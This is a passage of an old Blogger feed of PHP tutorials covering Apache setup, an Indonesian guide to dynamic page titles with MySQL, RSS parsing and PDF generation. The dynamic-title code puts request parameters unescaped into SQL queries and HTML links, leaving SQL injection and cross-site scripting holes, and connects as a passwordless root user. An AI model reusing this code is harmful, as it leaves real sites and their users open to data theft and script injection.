href="http://1.bp.blogspot.com/_fpU10uqH0LU/R-SPNjrkcOI/AAAAAAAAAAk/fZFc6eAtCcI/s1600-h/install-apache-2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_fpU10uqH0LU/R-SPNjrkcOI/AAAAAAAAAAk/fZFc6eAtCcI/s320/install-apache-2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5180422934461968610" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;By default Apache's document root is set to htdocs directory. The document root is where you must put all your PHP or HTML files so it will be process by Apache ( and can be seen through a web browser ). Of course you can change it to point to any directory you want. The configuration file for Apache is stored in C:\Program Files\Apache Group\Apache2\conf\httpd.conf ( assuming you installed Apache in C:\Program Files\Apache Group ) . It's just a plain text file so you can use Notepad to edit it. &lt;br /&gt;&lt;br /&gt;For example, if you want to put all your PHP or HTML files in C:\www just find this line in the httpd.conf :&lt;br /&gt;&lt;br /&gt;DocumentRoot "C:/Program Files/Apache Group/Apache2/htdocs" &lt;br /&gt;&lt;br /&gt;and change it to :&lt;br /&gt;&lt;br /&gt;DocumentRoot "C:/www"&lt;br /&gt;&lt;br /&gt;After making changes to the configuration file you have to restart Apache ( Start &gt; Programs &gt; Apache HTTP Server 2.0.50 &gt; Control Apache Server &gt; Restart ) to see the effect.&lt;br /&gt;&lt;br /&gt;Another configuration you may want to change is the directory index. This is the file that Apache will show when you request a directory. As an example if you type http://www.php-mysql-tutorial.com/ without specifying any file the index.php file will be automatically shown.&lt;br /&gt;&lt;br /&gt;Suppose you want apache to use index.html, index.php or main.php as the directory index you can modify the DirectoryIndex value like this :&lt;br /&gt;&lt;br /&gt;DirectoryIndex index.html index.php main.php&lt;br /&gt;&lt;br /&gt;Now whenever you request a directory such as http://localhost/ Apache will try to find the index.html file or if it's not found Apache will use index.php. In case index.php is also not found then main.php will be used.&lt;br /&gt;&lt;br /&gt;Modifying Apache Configuration&lt;br /&gt;&lt;br /&gt;Apache doesn't know that you just install PHP. We need to tell Apache about PHP and where to find it. Open the Apache configuration file in C:\Program Files\Apache Group\Apache2\conf\httpd.conf and add the following three lines :&lt;br /&gt;&lt;br /&gt;LoadModule php4_module php/sapi/php4apache2.dll&lt;br /&gt;AddType application/x-httpd-php .php&lt;br /&gt;AddType application/x-httpd-php-source .phps &lt;br /&gt;&lt;br /&gt;The first line tells Apache where to load the dll required to execute PHP and the second line means that every file that ends with .php should be processed as a PHP file. You can actually change it to anything you want like .html or even .asp! The third line is added so that you can view your php file source code in the browser window. You will see what this mean when you browse this tutorial and click the link to the example's source code like this one.&lt;br /&gt;&lt;br /&gt;Now restart Apache for the changes to take effect ( Start &gt; Programs &gt; Apache HTTP Server 2.0.50 &gt; Control Apache Server &gt; Restart ) . To check if everything is okay create a new file, name it as test.php and put it in document root directory ( C:\Program Files\Apache Group\Apache2\htdocs ). The content of this file is shown below.&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;phpinfo();&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;phpinfo() is the infamous PHP function which will spit out all kinds of stuff about PHP and your server configuration. Type http://localhost/test.php on your browser's address bar and if everything works well you should see something like this :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_fpU10uqH0LU/R-SuSzrkcPI/AAAAAAAAAAs/GZ5e0UdzRBQ/s1600-h/test-php-installation.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_fpU10uqH0LU/R-SuSzrkcPI/AAAAAAAAAAs/GZ5e0UdzRBQ/s320/test-php-installation.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5180457109516742898" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-8510499518380010790?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/8510499518380010790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=8510499518380010790&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/8510499518380010790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/8510499518380010790'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/installing-apache_21.html' title='Installing Apache'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_fpU10uqH0LU/R-SNmTrkcNI/AAAAAAAAAAc/mWzxgOhh4_g/s72-c/install-apache-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-2208235326550338524</id><published>2008-03-21T10:35:00.000-07:00</published><updated>2008-03-21T11:58:17.680-07:00</updated><title type='text'>Membuat Dynamic Title dengan PHP</title><content type='html'>SEO, atau lengkapnya Search Engine Optimization, yaitu sebuah cara yang mempermudah&lt;br /&gt;sebuah website dikenali dan direcord dalam database search engine. Bagi anda seorang web&lt;br /&gt;master banyak hal yang tentunya telah anda lakukan guna mempromosikan website anda&lt;br /&gt;dengan mengikuti syarat-syarat SEO tersebut. Seperti penggunaan CSS, submit web ke&lt;br /&gt;penyedia jasa search engine, membuat url yang friendly dengan mod_rewrite, membuat&lt;br /&gt;dynamic title, dan segudang syarat lainnya.&lt;br /&gt;Sesuai dengan judul yang telah saya berikan, kali ini saya akan menjelaskan secara sederhana&lt;br /&gt;bagaimana membuat Dynamic Title.&lt;br /&gt;Sederhananya untuk membuat Dynamic Title yaitu dengan memanfaatkan tag title pada html,&lt;br /&gt;kemudian variable global $_REQUEST[], dan tentunya database MySQLnya.&lt;br /&gt;Yup, langsung saja, yang akan kita lakukan adalah membuat databasenya terlebih dahulu :&lt;br /&gt;//database.sql&lt;br /&gt;create database cms_db;&lt;br /&gt;use cms_db;&lt;br /&gt;create table tablenyah(id int(5) auto_increment primary key,&lt;br /&gt;judul_artikel varchar(100), penulis_artikel varchar(50), isi_artikel text);&lt;br /&gt;insert into tablenyah values("","Membuat Dynamic Title dengan PHP","Loka Dwiartara",&lt;br /&gt;"Pada suatu hari ada seorang penulis ...");&lt;br /&gt;insert into tablenyah values("","Ryuzaki nggak ganteng","Al-k",&lt;br /&gt;"Ryuzaki pada dasarnya emang nggak ganteng huehuehuheuhe .... ");&lt;br /&gt;&lt;br /&gt;Berikut ini adalah source code lengkap-nya :&lt;br /&gt;File konfigurasi, koneksi antara mysql dan php.&lt;br /&gt;// config.php&lt;br /&gt;&lt;?php&lt;br /&gt;$host = "localhost";&lt;br /&gt;$username = "root";&lt;br /&gt;$password = "";&lt;br /&gt;$databasename = "cms_db";&lt;br /&gt;$connect = mysql_connect($host, $username, $password) or die("Gagal Koneksi !!!");&lt;br /&gt;$database = mysql_select_db($databasename, $connect);&lt;br /&gt;?&gt;&lt;br /&gt;Dan script inti index.php&lt;br /&gt;// index.php&lt;br /&gt;&lt;html&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// Dynamic Title&lt;br /&gt;// by : Loka Dwiartara a.k.a Al-k&lt;br /&gt;// http://www.ilmuwebsite.com&lt;br /&gt;include "config.php";&lt;br /&gt;$id = $_REQUEST['id'];&lt;br /&gt;$query1 = "select judul_artikel from tablenyah where id='$id' ";&lt;br /&gt;$runquery1 = mysql_query($query1);&lt;br /&gt;$judul = mysql_fetch_array($runquery1);&lt;br /&gt;if($_REQUEST['mode'] == "tutorial_php")&lt;br /&gt;{&lt;br /&gt;print "Tutorial PHP";&lt;br /&gt;if (!ISSET($_REQUEST['id']))&lt;br /&gt;{&lt;br /&gt;print " | ilmuwebsite.com ";&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;print " | ". $judul['judul_artikel'];&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;Komunitas eLearning IlmuKomputer.Com&lt;br /&gt;Copyright © 2003-2007 IlmuKomputer.Com&lt;br /&gt;2&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;print "Ilmuwebsite.com";&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/title&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$query2 = "select id, judul_artikel, penulis_artikel, isi_artikel from tablenyah";&lt;br /&gt;$runquery2 = mysql_query($query2);&lt;br /&gt;$query3 = "select judul_artikel, penulis_artikel, isi_artikel from tablenyah where id='$id'";&lt;br /&gt;$runquery3 = mysql_query($query3);&lt;br /&gt;if (ISSET($_REQUEST['mode']))&lt;br /&gt;{&lt;br /&gt;if (!ISSET($_REQUEST['id']))&lt;br /&gt;{&lt;br /&gt;while ($result = mysql_fetch_array($runquery2))&lt;br /&gt;{&lt;br /&gt;print "&lt;a href=index.php?mode=tutorial_php&amp;id=$result[id]&gt;&lt;br /&gt;$result[judul_artikel]&lt;/a&gt;&lt;br&gt;";&lt;br /&gt;}&lt;br /&gt;print "&lt;br&gt;&lt;a href=index.php&gt;Kembali&lt;/a&gt;";&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;$content = mysql_fetch_array($runquery3);&lt;br /&gt;$judul = $content['judul_artikel'];&lt;br /&gt;$penulis = $content['penulis_artikel'];&lt;br /&gt;$isi = $content['isi_artikel'];&lt;br /&gt;print "&lt;b&gt;&lt;u&gt;$judul&lt;/u&gt;&lt;/b&gt;&lt;br&gt;";&lt;br /&gt;print "Penulis : $penulis&lt;br&gt;&lt;br&gt;";&lt;br /&gt;print "$isi";&lt;br /&gt;print "&lt;br&gt;&lt;br&gt;&lt;a href=index.php?mode=$_REQUEST[mode]&gt;&lt;br /&gt;Kembali&lt;/a&gt;";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;Komunitas eLearning IlmuKomputer.Com&lt;br /&gt;Copyright © 2003-2007 IlmuKomputer.Com&lt;br /&gt;3&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;print "&lt;a href=index.php?mode=tutorial_php&gt;Tutorial PHP&lt;/a&gt;&lt;br&gt;";&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;Ya, saya akan sedikit membahas source tersebut.&lt;br /&gt;Pada file config.php diatas ...&lt;br /&gt;$connect = mysql_connect($host, $username, $password) or die("Gagal Koneksi !!!");&lt;br /&gt;$database = mysql_select_db($databasename, $connect);&lt;br /&gt;Variable $connect berfungsi mengkoneksikan Server PHP dengan database MySQL,&lt;br /&gt;sedangkan variable $database melakukan seleksi database apa yang akan digunakan nantinya.&lt;br /&gt;Pada index.php, saya hanya menjelaskan bagian intinya saja, yakni :&lt;br /&gt;&lt;?php&lt;br /&gt;include "config.php";&lt;br /&gt;$id = $_REQUEST['id'];&lt;br /&gt;$query1 = "select judul_artikel from tablenyah where id='$id' ";&lt;br /&gt;$runquery1 = mysql_query($query1);&lt;br /&gt;$judul = mysql_fetch_array($runquery1);&lt;br /&gt;if($_REQUEST['mode'] == "tutorial_php")&lt;br /&gt;{&lt;br /&gt;print "Tutorial PHP";&lt;br /&gt;if (!ISSET($_REQUEST['id']))&lt;br /&gt;{&lt;br /&gt;print " | ilmuwebsite.com ";&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;print " | ". $judul['judul_artikel'];&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;print "Ilmuwebsite.com";&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;Logikanya kira-kira seperti ini, ketika user masuk pada halaman index.php kemudian&lt;br /&gt;melakukan klik pada link, dalam hal ini misalnya Tutorial PHP yang kemudian menghasilkan&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4&lt;br /&gt;variable global $_REQUEST['mode']-nya berisi "tutorial_php" maka yang terjadi adalah tag&lt;br /&gt;title akan berisi Tutorial PHP, diambil dari ekspresi :&lt;br /&gt;...&lt;br /&gt;if($_REQUEST['mode'] == "tutorial_php")&lt;br /&gt;{&lt;br /&gt;print "Tutorial PHP";&lt;br /&gt;...&lt;br /&gt;Dan dan tag title pun akan berubah pada kondisi ketika user melakukan klik pada salah satu sub&lt;br /&gt;link dengan memanfaatkan variable global $_REQUEST['id'].&lt;br /&gt;Sederhananya seperti itu.&lt;br /&gt;Selamat Mencoba.&lt;br /&gt;&lt;br /&gt;5&lt;br /&gt;Biografi Penulis&lt;br /&gt;Loka Dwiartara. Mahasiswa semester 5 yang sedang berusaha untuk menamatkan kuliahnya di&lt;br /&gt;Sekolah Tinggi Teknologi Telematika. Mencoba mengembangkan ilmuwebsite.com, juga&lt;br /&gt;mendalami pemrogaman web dengan PHP, dan MySQL, jaringan komputer berbasis Linux dan&lt;br /&gt;juga sedang memulai hobinya untuk membuat game 2D pertamanya dengan bahasa c++ dalam&lt;br /&gt;environment SDL ( Simple Direct Medialayer ). Tergabung dalam Game Developer yang masih&lt;br /&gt;menjadi kecambah, Weckerz:Indonesian Game Developer. Tergolong masih hijau dalam&lt;br /&gt;pembuatan artikel lepas :D. Maka dari itu, mohon kritiknya. Terima kasih.&lt;br /&gt;&lt;br /&gt;Copyright © 2003-2007 IlmuKomputer.Com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-2208235326550338524?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/2208235326550338524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=2208235326550338524&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/2208235326550338524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/2208235326550338524'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/membuat-dynamic-title-dengan-php.html' title='Membuat Dynamic Title dengan PHP'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-4239292291547428099</id><published>2008-03-21T08:48:00.000-07:00</published><updated>2008-03-21T08:49:47.550-07:00</updated><title type='text'>PHP and XML: Parsing RSS 1.0</title><content type='html'>A Brief Tour Of RSS 1.0&lt;br /&gt;&lt;br /&gt;RSS (previously stood for Rich Site Summary developed by Netscape, but now refers to RDF Site Summary, an updated and XML-compliant version of the Netscape technology) is an XML document format intended to describe, summarize, and distribute the contents of a Web site as a 'channel'. Sites such as MoreOver.com and O'Reilly's Meerkat process RSS feeds provided by news and other content sites and provide combined headline newsfeed services. RSS is currently developed by the RSS-DEV Working Group.&lt;br /&gt;&lt;br /&gt;As with most XML document formats, the meaning of the document can be gleaned fairly easily simply by looking over a sample document. SitePoint.com provides summaries of its front-page articles in RSS format at http://www.sitepoint.com/rss.php. If you are using Internet Explorer 5 or later, you can view the current version of this XML document directly in your browser. For everyone else, here is the current SitePoint.com RSS file at the time of this writing:&lt;br /&gt;&lt;br /&gt;&lt;?xml version="1.0" encoding="utf-8"?&gt;&lt;br /&gt;&lt;rdf:RDF&lt;br /&gt; xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&lt;br /&gt; xmlns="http://purl.org/rss/1.0/"&gt;&lt;br /&gt;&lt;br /&gt; &lt;channel rdf:about="http://www.sitepoint.com/rss.php"&gt;&lt;br /&gt;   &lt;title&gt;SitePoint.com&lt;/title&gt;&lt;br /&gt;   &lt;description&gt;Master the Web!&lt;/description&gt;&lt;br /&gt;   &lt;link&gt;http://www.sitepoint.com/&lt;/link&gt;&lt;br /&gt;&lt;br /&gt;   &lt;items&gt;&lt;br /&gt;     &lt;rdf:Seq&gt;&lt;br /&gt;       &lt;rdf:li rdf:resource="http://www.PromotionBase.com/article/551"/&gt;&lt;br /&gt;       &lt;rdf:li rdf:resource="http://www.WebmasterBase.com/article/541"/&gt;&lt;br /&gt;       &lt;rdf:li rdf:resource="http://www.eCommerceBase.com/article/552"/&gt;&lt;br /&gt;       &lt;rdf:li rdf:resource="http://www.eCommerceBase.com/article/505"/&gt;&lt;br /&gt;       &lt;rdf:li rdf:resource="http://www.PromotionBase.com/article/556"/&gt;&lt;br /&gt;       &lt;rdf:li rdf:resource="http://www.eCommerceBase.com/article/508"/&gt;&lt;br /&gt;     &lt;/rdf:Seq&gt;&lt;br /&gt;   &lt;/items&gt;&lt;br /&gt; &lt;/channel&gt;&lt;br /&gt;   &lt;br /&gt; &lt;item rdf:about="http://www.PromotionBase.com/article/551"&gt;&lt;br /&gt;   &lt;title&gt;Escape Search Engine Caching&lt;/title&gt;&lt;br /&gt;   &lt;description&gt;Did you know that many search engines cache your pages?&lt;br /&gt;   While this practice can speed up a search, users might not see your&lt;br /&gt;   most recent site updates! Ralph shows how you can stop search engines&lt;br /&gt;   caching your pages.&lt;/description&gt;&lt;br /&gt;   &lt;link&gt;http://www.PromotionBase.com/article/551&lt;/link&gt;&lt;br /&gt; &lt;/item&gt;&lt;br /&gt;&lt;br /&gt; &lt;item rdf:about="http://www.WebmasterBase.com/article/541"&gt;&lt;br /&gt;   &lt;title&gt;Add JavaScript to Fireworks&lt;/title&gt;&lt;br /&gt;   &lt;description&gt;Does your design need more pizazz? Add interactivity to&lt;br /&gt;   your site without learning JavaScript! Matt explains the creation of&lt;br /&gt;   JavaScript effects in Fireworks, and explores in detail the use of&lt;br /&gt;   this program's tools.&lt;/description&gt;&lt;br /&gt;   &lt;link&gt;http://www.WebmasterBase.com/article/541&lt;/link&gt;&lt;br /&gt; &lt;/item&gt;&lt;br /&gt;&lt;br /&gt; &lt;item rdf:about="http://www.eCommerceBase.com/article/552"&gt;&lt;br /&gt;   &lt;title&gt;eMail Campaigns in 8 Steps - Part 2&lt;/title&gt;&lt;br /&gt;   &lt;description&gt;Ok, so you've reeled in your prospects and they're on&lt;br /&gt;   your mailing list. Now what? How do you communicate effectively, and&lt;br /&gt;   turn them into customers? Jason reveals all...&lt;/description&gt;&lt;br /&gt;   &lt;link&gt;http://www.eCommerceBase.com/article/552&lt;/link&gt;&lt;br /&gt; &lt;/item&gt;&lt;br /&gt;&lt;br /&gt; &lt;item rdf:about="http://www.eCommerceBase.com/article/505"&gt;&lt;br /&gt;   &lt;title&gt;The Need for a Written Website Contract&lt;/title&gt;&lt;br /&gt;   &lt;description&gt;A written agreement is essential if you pay others to&lt;br /&gt;   design, build or maintain your Websites. Ivan explains the necessity&lt;br /&gt;   of contracts to those who work on the Web.&lt;/description&gt;&lt;br /&gt;   &lt;link&gt;http://www.eCommerceBase.com/article/505&lt;/link&gt;&lt;br /&gt; &lt;/item&gt;&lt;br /&gt;&lt;br /&gt; &lt;item rdf:about="http://www.PromotionBase.com/article/556"&gt;&lt;br /&gt;   &lt;title&gt;Search Engine Strategies 2001 - Conference Report&lt;/title&gt;&lt;br /&gt;   &lt;description&gt;Sinewave Interactive's Gavin Appel talks to Matt about&lt;br /&gt;   this year's Search Engine Strategies conference. He outlines the&lt;br /&gt;   discussions and predictions of industry leaders.&lt;/description&gt;&lt;br /&gt;   &lt;link&gt;http://www.PromotionBase.com/article/556&lt;/link&gt;&lt;br /&gt; &lt;/item&gt;&lt;br /&gt;&lt;br /&gt; &lt;item rdf:about="http://www.eCommerceBase.com/article/508"&gt;&lt;br /&gt;   &lt;title&gt;Better eCommerce Questionnaire&lt;/title&gt;&lt;br /&gt;   &lt;description&gt;Overhaul your ecommerce strategy now! Face up to the&lt;br /&gt;   tough questions with Lee, as he guides you through a simple process&lt;br /&gt;   to optimize your ecommerce strategy.&lt;/description&gt;&lt;br /&gt;   &lt;link&gt;http://www.eCommerceBase.com/article/508&lt;/link&gt;&lt;br /&gt; &lt;/item&gt;&lt;br /&gt;       &lt;br /&gt;&lt;/rdf:RDF&gt;&lt;br /&gt;&lt;br /&gt;As you can see, the file begins with a &lt;channel&gt; tag that contains the title, description, and URL of the site that the RSS file describes as well as a list of the &lt;items&gt; that the channel currently contains. This tag is then followed by an &lt;item&gt; tag for each of the articles that appear of the front page of SitePoint.com. For each, the title, description, and URL are provided. It should be noted that this is a bare-bones RSS file -- many sites make use of standard extensions to the RSS format to include things like author names, images, and publication dates for the items in their channel, but for the purposes of this article this basic RSS file will do.&lt;br /&gt;&lt;br /&gt;Now, since most Web browsers can't read XML pages and the browsers that can only display the code of the page (Internet Explorer 5+) or the textual portions of the page (Netscape 6+) by default, you need some intermediate technology to convert this RSS document into something presentable if you want to display it to users. Other possibilities include reading the file and storing the headlines into a database, or emailing subscribed users if particular keywords appear in the descriptions of new articles. In any case, you're going to need something that can read XML. Of the many options available in this arena, this article will examine the use of PHP to parse an XML document.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-4239292291547428099?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/4239292291547428099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=4239292291547428099&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/4239292291547428099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/4239292291547428099'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/php-and-xml-parsing-rss-10.html' title='PHP and XML: Parsing RSS 1.0'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-8197445189962383359</id><published>2008-03-21T08:35:00.000-07:00</published><updated>2008-03-21T08:37:59.029-07:00</updated><title type='text'>Generate PDFs with PHP</title><content type='html'>In order to use PHP's PDF manipulation capabilities, you need to have the PDFLib library installed on your system. If you're working on Linux, you can download a copy from http://www.pdflib.com/pdflib/index.html and compile it for your box. If you're running Windows, your job is even simpler - a pre-built PDF library is bundled with your distribution, and all you need to do is activate it by uncommenting the appropriate lines in your PHP configuration file.&lt;br /&gt;&lt;br /&gt;Additionally, you'll need a copy of the (free!) Adobe Acrobat PDF reader, so that you can view the documents created via the PDFLib library. You can download a copy of this reader from http://www.adobe.com/&lt;br /&gt;&lt;br /&gt;Once you've got everything in place, it's time to create a simple PDF file. Here goes:&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// create handle for new PDF document&lt;br /&gt;$pdf = pdf_new();&lt;br /&gt;&lt;br /&gt;// open a file&lt;br /&gt;pdf_open_file($pdf, "philosophy.pdf");&lt;br /&gt;&lt;br /&gt;// start a new page (A4)&lt;br /&gt;pdf_begin_page($pdf, 595, 842);&lt;br /&gt;&lt;br /&gt;// get and use a font object&lt;br /&gt;$arial = pdf_findfont($pdf, "Arial", "host", 1); pdf_setfont($pdf, $arial, 10);&lt;br /&gt;&lt;br /&gt;// print text&lt;br /&gt;pdf_show_xy($pdf, "There are more things in heaven and earth, Horatio,", 50, 750); pdf_show_xy($pdf, "than are dreamt of in your philosophy", 50, 730);&lt;br /&gt;&lt;br /&gt;// end page&lt;br /&gt;pdf_end_page($pdf);&lt;br /&gt;&lt;br /&gt;// close and save file&lt;br /&gt;pdf_close($pdf);&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Save this file, and then browse to it through your Web browser. PHP will execute the script, and a new PDF file will be created and stored in the location specified at the top of the script. Here's what you'll see when you open the file:&lt;br /&gt;&lt;br /&gt;1225_1 (click to view image)&lt;br /&gt;Anatomy Lesson&lt;br /&gt;&lt;br /&gt;Let's take a closer look at the code used in the example above.&lt;br /&gt;&lt;br /&gt;Creating a PDF file in PHP involves four basic steps: creating a handle for the document; registering fonts and colours for the document; writing or drawing to the handle with various pre-defined functions; and saving the final document.&lt;br /&gt;&lt;br /&gt;Let's take the first step - creating a handle for the PDF document.&lt;br /&gt;&lt;br /&gt;// create handle for new PDF document&lt;br /&gt;$pdf = pdf_new();&lt;br /&gt;&lt;br /&gt;This is accomplished via the pdf_new() function, which returns a handle to the document. This handle is then used in all subsequent operations involving the PDF document.&lt;br /&gt;&lt;br /&gt;Next up, you need to give the PDF file a name - this is accomplished via the pdf_open_file() function, which requires the handle returned in the previous operation, together with a user-defined file name.&lt;br /&gt;&lt;br /&gt;// open a file&lt;br /&gt;pdf_open_file($pdf, "philosophy.pdf");&lt;br /&gt;&lt;br /&gt;Once a document has been created, you can insert new pages in it with the&lt;br /&gt;pdf_begin_page() function,&lt;br /&gt;&lt;br /&gt;// start a new page (A4)&lt;br /&gt;pdf_begin_page($pdf, 595, 842);&lt;br /&gt;&lt;br /&gt;and end pages with the - you guessed it! - pdf_end_page() function.&lt;br /&gt;&lt;br /&gt;// end page&lt;br /&gt;pdf_end_page($pdf);&lt;br /&gt;&lt;br /&gt;Note that the pdf_begin_page() function requires two additional parameters, which represent the width and height of the page to be created in points (a point is 1/72 of an inch). In case math isn't your strong suit, the PHP manual provides width and height measurements for most standard page sizes, including A4, the one used in the example above.&lt;br /&gt;&lt;br /&gt;In between the calls to pdf_begin_page() and pdf_end_page() comes the code that actually writes something to the PDF document, be it text, images or geometric shapes. In this case, all I'm doing is writing a line of text to the document - so all I need to do is pick a font, and then use that font to write the text string I need to the document.&lt;br /&gt;&lt;br /&gt;Selecting and registering a font is accomplished via the pdf_findfont() and pdf_setfont() functions. The pdf_findfont() function prepares a font for use within the document, and requires the name of the font, the encoding to be used, and a Boolean value indicating whether or not the font should be embedded in the PDF file; it returns a font object, which may be used via a call to pdf_setfont().&lt;br /&gt;&lt;br /&gt;$arial = pdf_findfont($pdf, "Arial", "host", 1); pdf_setfont($pdf, $arial, 10);&lt;br /&gt;&lt;br /&gt;Once the font has been set, the pdf_show_xy() function can be used to write a text string to a particular position on the page.&lt;br /&gt;&lt;br /&gt;// print text&lt;br /&gt;pdf_show_xy($pdf, "There are more things in heaven and earth, Horatio,", 50, 750); pdf_show_xy($pdf, "than are dreamt of in your philosophy", 50, 730);&lt;br /&gt;&lt;br /&gt;As you can see, this function requires a handle to the PDF document, a reference to the font object to be used, the text string to be written (obviously!), and the X and Y coordinates of the position at which to begin writing the text. These coordinates are specified with respect to the origin (0,0), which is located at the bottom left corner of the document.&lt;br /&gt;&lt;br /&gt;Once the text has been written, the page is closed via a call to pdf_end_page(). You can then add one or more extra pages, or - as I've done here - simply close the document via pdf_close(). This will save the document contents to the file specified in the initial call to pdf_open_file(), and destroy the document handle created.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-8197445189962383359?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/8197445189962383359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=8197445189962383359&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/8197445189962383359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/8197445189962383359'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/generate-pdfs-with-php.html' title='Generate PDFs with PHP'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-3806367473070310386</id><published>2008-03-21T04:09:00.000-07:00</published><updated>2008-03-21T04:11:11.118-07:00</updated><title type='text'>Using Regular Expressions in PHP</title><content type='html'>When I first started programming in PHP, I found regular expressions very difficult. They were complicated, looked ugly, were hard to figure out, and there seemed to be a real lack 